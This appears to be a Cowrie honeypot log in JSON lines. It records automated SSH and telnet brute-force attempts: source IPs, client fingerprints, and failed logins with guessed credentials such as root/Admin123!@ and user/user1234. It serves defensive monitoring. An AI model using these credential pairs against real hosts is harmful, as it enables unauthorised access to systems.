{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:13.883271Z","src_ip":"45.162.8.14","session":"ffff0860fce5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mdh","message":"login attempt [root/mdh] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:14.373145Z","src_ip":"45.162.8.14","session":"ffff0860fce5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":53764,"dst_ip":"159.203.135.109","dst_port":22,"session":"c1f1cd57599b","protocol":"ssh","message":"New connection: 176.65.132.129:53764 (159.203.135.109:22) [session: c1f1cd57599b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:14.754523Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:14.760382Z","src_ip":"176.65.132.129","session":"c1f1cd57599b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:14.843890Z","src_ip":"176.65.132.129","session":"c1f1cd57599b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hu","password":"123456","message":"login attempt [hu/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:15.097280Z","src_ip":"176.65.132.129","session":"c1f1cd57599b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:15.495205Z","src_ip":"45.162.8.14","session":"ffff0860fce5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:16.182920Z","src_ip":"176.65.132.129","session":"c1f1cd57599b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00304102897644,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:17.735538Z","src_ip":"152.42.224.71","session":"4ff2a75bc075","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":40458,"dst_ip":"159.203.135.109","dst_port":22,"session":"cb7271ab2d99","protocol":"ssh","message":"New connection: 176.65.132.129:40458 (159.203.135.109:22) [session: cb7271ab2d99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:18.038363Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:18.046837Z","src_ip":"176.65.132.129","session":"cb7271ab2d99","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:18.226274Z","src_ip":"176.65.132.129","session":"cb7271ab2d99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe@123","message":"login attempt [frappe/frappe@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:18.552485Z","src_ip":"176.65.132.129","session":"cb7271ab2d99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:19.637737Z","src_ip":"176.65.132.129","session":"cb7271ab2d99","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":40474,"dst_ip":"159.203.135.109","dst_port":22,"session":"083f8f73e23a","protocol":"ssh","message":"New connection: 176.65.132.129:40474 (159.203.135.109:22) [session: 083f8f73e23a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:21.386784Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:21.391271Z","src_ip":"176.65.132.129","session":"083f8f73e23a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:21.473843Z","src_ip":"176.65.132.129","session":"083f8f73e23a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tools","password":"tools","message":"login attempt [tools/tools] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:21.720520Z","src_ip":"176.65.132.129","session":"083f8f73e23a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":57.32507371902466,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:21.965902Z","src_ip":"152.42.224.71","session":"36ae2196bac6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44512,"dst_ip":"10.17.0.5","dst_port":23,"session":"060b27bf6bdc","protocol":"telnet","message":"New connection: 152.42.224.71:44512 (10.17.0.5:23) [session: 060b27bf6bdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:22.809305Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:22.914833Z","src_ip":"176.65.132.129","session":"083f8f73e23a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":40480,"dst_ip":"159.203.135.109","dst_port":22,"session":"2fe9652a62cc","protocol":"ssh","message":"New connection: 176.65.132.129:40480 (159.203.135.109:22) [session: 2fe9652a62cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:24.578907Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:24.583799Z","src_ip":"176.65.132.129","session":"2fe9652a62cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:24.718714Z","src_ip":"176.65.132.129","session":"2fe9652a62cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user1234","message":"login attempt [user/user1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:25.096755Z","src_ip":"176.65.132.129","session":"2fe9652a62cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"13.71.92.229","src_port":38032,"dst_ip":"10.17.0.5","dst_port":22,"session":"9a6113df7f1c","protocol":"ssh","message":"New connection: 13.71.92.229:38032 (10.17.0.5:22) [session: 9a6113df7f1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:25.894857Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:25.900110Z","src_ip":"13.71.92.229","session":"9a6113df7f1c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:26.112810Z","src_ip":"13.71.92.229","session":"9a6113df7f1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:26.181014Z","src_ip":"176.65.132.129","session":"2fe9652a62cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44518,"dst_ip":"10.17.0.5","dst_port":23,"session":"bceb9c02f0bc","protocol":"telnet","message":"New connection: 152.42.224.71:44518 (10.17.0.5:23) [session: bceb9c02f0bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:26.800405Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.193.250.100","src_port":53518,"dst_ip":"10.17.0.5","dst_port":22,"session":"6930e74746ee","protocol":"ssh","message":"New connection: 20.193.250.100:53518 (10.17.0.5:22) [session: 6930e74746ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:26.973696Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:26.979237Z","src_ip":"20.193.250.100","session":"6930e74746ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin123!@","message":"login attempt [root/Admin123!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:26.993229Z","src_ip":"13.71.92.229","session":"9a6113df7f1c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:27.184275Z","src_ip":"20.193.250.100","session":"6930e74746ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":36084,"dst_ip":"159.203.135.109","dst_port":22,"session":"4983d00bcd96","protocol":"ssh","message":"New connection: 176.65.132.129:36084 (159.203.135.109:22) [session: 4983d00bcd96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:28.010313Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:28.016033Z","src_ip":"176.65.132.129","session":"4983d00bcd96","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"waldo","message":"login attempt [root/waldo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:28.025222Z","src_ip":"20.193.250.100","session":"6930e74746ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:28.099066Z","src_ip":"176.65.132.129","session":"4983d00bcd96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:28.210140Z","src_ip":"13.71.92.229","session":"9a6113df7f1c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test@1234","message":"login attempt [test/test@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:28.504785Z","src_ip":"176.65.132.129","session":"4983d00bcd96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:29.231884Z","src_ip":"20.193.250.100","session":"6930e74746ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:29.590074Z","src_ip":"176.65.132.129","session":"4983d00bcd96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00244665145874,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:30.442303Z","src_ip":"152.42.224.71","session":"56cf8d7112a7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":36100,"dst_ip":"159.203.135.109","dst_port":22,"session":"ce87ed3da7e5","protocol":"ssh","message":"New connection: 176.65.132.129:36100 (159.203.135.109:22) [session: ce87ed3da7e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:31.406177Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:31.410520Z","src_ip":"176.65.132.129","session":"ce87ed3da7e5","protocol":"ssh"}
